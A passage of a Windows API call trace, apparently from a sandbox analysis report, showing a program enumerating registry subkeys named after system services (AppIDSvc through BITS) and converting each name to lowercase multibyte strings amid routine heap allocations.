lpUsedDefaultChar=0x0) returned 5 [0253.906] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.907] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appid", cchWideChar=5, lpMultiByteStr=0x21f1e38, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appid", lpUsedDefaultChar=0x0) returned 5 [0253.907] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0253.907] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.907] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0253.907] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.907] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1b, lpName=0x2152850, cchName=0x104 | out: lpName="AppIDSvc") returned 0x0 [0253.907] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.907] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appidsvc", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0253.907] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0253.907] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appidsvc", cchWideChar=8, lpMultiByteStr=0x21f1df0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appidsvc", lpUsedDefaultChar=0x0) returned 8 [0253.907] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.907] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0253.907] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.907] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.907] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1c, lpName=0x2152850, cchName=0x104 | out: lpName="Appinfo") returned 0x0 [0253.907] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.907] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appinfo", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0253.907] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.907] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appinfo", cchWideChar=7, lpMultiByteStr=0x21f1e38, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appinfo", lpUsedDefaultChar=0x0) returned 7 [0253.907] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0253.907] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.907] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0253.907] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.907] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1d, lpName=0x2152850, cchName=0x104 | out: lpName="AppMgmt") returned 0x0 [0253.907] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.907] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appmgmt", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0253.907] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0253.907] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appmgmt", cchWideChar=7, lpMultiByteStr=0x21f1df0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appmgmt", lpUsedDefaultChar=0x0) returned 7 [0253.907] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.907] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0253.907] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.907] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.908] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1e, lpName=0x2152850, cchName=0x104 | out: lpName="arc") returned 0x0 [0253.908] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.908] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arc", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0253.908] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.908] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arc", cchWideChar=3, lpMultiByteStr=0x21f1e38, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="arc", lpUsedDefaultChar=0x0) returned 3 [0253.908] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0253.908] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.908] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0253.908] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.908] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1f, lpName=0x2152850, cchName=0x104 | out: lpName="arcsas") returned 0x0 [0253.908] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.908] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arcsas", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0253.908] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0253.908] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arcsas", cchWideChar=6, lpMultiByteStr=0x21f1df0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="arcsas", lpUsedDefaultChar=0x0) returned 6 [0253.908] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.908] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0253.908] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.908] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.908] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x20, lpName=0x2152850, cchName=0x104 | out: lpName="ASP.NET") returned 0x0 [0253.908] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.908] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0253.908] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.908] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net", cchWideChar=7, lpMultiByteStr=0x21f1e38, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asp.net", lpUsedDefaultChar=0x0) returned 7 [0253.908] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0253.908] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.908] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0253.908] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.908] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x21, lpName=0x2152850, cchName=0x104 | out: lpName="ASP.NET_4.0.30319") returned 0x0 [0253.908] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.908] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net_4.0.30319", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0253.908] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0253.908] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net_4.0.30319", cchWideChar=17, lpMultiByteStr=0x21f1df0, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asp.net_4.0.30319", lpUsedDefaultChar=0x0) returned 17 [0253.908] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.909] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0253.909] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.909] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.909] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x22, lpName=0x2152850, cchName=0x104 | out: lpName="aspnet_state") returned 0x0 [0253.909] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.909] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aspnet_state", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0253.909] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.909] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aspnet_state", cchWideChar=12, lpMultiByteStr=0x21f1e38, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aspnet_state", lpUsedDefaultChar=0x0) returned 12 [0253.909] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0253.909] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.909] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0253.909] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.909] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x23, lpName=0x2152850, cchName=0x104 | out: lpName="AsyncMac") returned 0x0 [0253.909] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.909] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asyncmac", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0253.909] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0253.909] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asyncmac", cchWideChar=8, lpMultiByteStr=0x21f1df0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asyncmac", lpUsedDefaultChar=0x0) returned 8 [0253.909] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.909] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0253.909] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.909] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.909] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x24, lpName=0x2152850, cchName=0x104 | out: lpName="atapi") returned 0x0 [0253.909] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.909] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="atapi", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0253.909] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.909] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="atapi", cchWideChar=5, lpMultiByteStr=0x21f1e38, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="atapi", lpUsedDefaultChar=0x0) returned 5 [0253.909] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0253.909] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.909] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0253.909] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.909] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x25, lpName=0x2152850, cchName=0x104 | out: lpName="AudioEndpointBuilder") returned 0x0 [0253.909] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.910] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audioendpointbuilder", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0253.910] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0253.910] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audioendpointbuilder", cchWideChar=20, lpMultiByteStr=0x21f1df0, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="audioendpointbuilder", lpUsedDefaultChar=0x0) returned 20 [0253.910] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.910] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0253.910] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.910] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.910] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x26, lpName=0x2152850, cchName=0x104 | out: lpName="AudioSrv") returned 0x0 [0253.910] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.910] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audiosrv", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0253.910] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.910] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audiosrv", cchWideChar=8, lpMultiByteStr=0x21f1e38, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="audiosrv", lpUsedDefaultChar=0x0) returned 8 [0253.910] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0253.910] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.910] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0253.910] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.910] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x27, lpName=0x2152850, cchName=0x104 | out: lpName="AxInstSV") returned 0x0 [0253.910] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.910] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="axinstsv", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0253.910] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0253.910] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="axinstsv", cchWideChar=8, lpMultiByteStr=0x21f1df0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="axinstsv", lpUsedDefaultChar=0x0) returned 8 [0253.910] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.910] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0253.910] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.910] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.910] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x28, lpName=0x2152850, cchName=0x104 | out: lpName="b06bdrv") returned 0x0 [0253.910] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.910] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b06bdrv", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0253.910] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.910] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b06bdrv", cchWideChar=7, lpMultiByteStr=0x21f1e38, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="b06bdrv", lpUsedDefaultChar=0x0) returned 7 [0253.910] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0253.910] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.910] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0253.911] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.911] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x29, lpName=0x2152850, cchName=0x104 | out: lpName="b57nd60a") returned 0x0 [0253.911] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.911] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b57nd60a", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0253.911] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0253.911] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b57nd60a", cchWideChar=8, lpMultiByteStr=0x21f1df0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="b57nd60a", lpUsedDefaultChar=0x0) returned 8 [0253.911] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.911] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0253.911] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.911] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.911] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2a, lpName=0x2152850, cchName=0x104 | out: lpName="BattC") returned 0x0 [0253.911] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.911] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="battc", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0253.911] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.911] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="battc", cchWideChar=5, lpMultiByteStr=0x21f1e38, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="battc", lpUsedDefaultChar=0x0) returned 5 [0253.911] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0253.911] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.911] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0253.911] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.911] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2b, lpName=0x2152850, cchName=0x104 | out: lpName="BDESVC") returned 0x0 [0253.911] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.911] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bdesvc", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0253.911] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0253.911] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bdesvc", cchWideChar=6, lpMultiByteStr=0x21f1df0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bdesvc", lpUsedDefaultChar=0x0) returned 6 [0253.911] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.911] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0253.911] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.911] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.911] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2c, lpName=0x2152850, cchName=0x104 | out: lpName="Beep") returned 0x0 [0253.911] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.911] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="beep", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0253.911] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.912] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="beep", cchWideChar=4, lpMultiByteStr=0x21f1e38, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="beep", lpUsedDefaultChar=0x0) returned 4 [0253.912] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0253.912] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.912] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0253.912] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.912] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2d, lpName=0x2152850, cchName=0x104 | out: lpName="BFE") returned 0x0 [0253.912] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.912] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bfe", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0253.912] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0253.912] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bfe", cchWideChar=3, lpMultiByteStr=0x21f1df0, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bfe", lpUsedDefaultChar=0x0) returned 3 [0253.912] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.912] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0253.912] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.912] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.912] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2e, lpName=0x2152850, cchName=0x104 | out: lpName="BITS") returned 0x0 [0253.912] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.912] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bits", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0253.912] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.912] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bits", cchWideChar=4, lpMultiByteStr=0x21f1e38, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bits", lpUsedDefaultChar=0x0) returned 4 [0253.912] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0253.912] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.912] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0253.912] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, 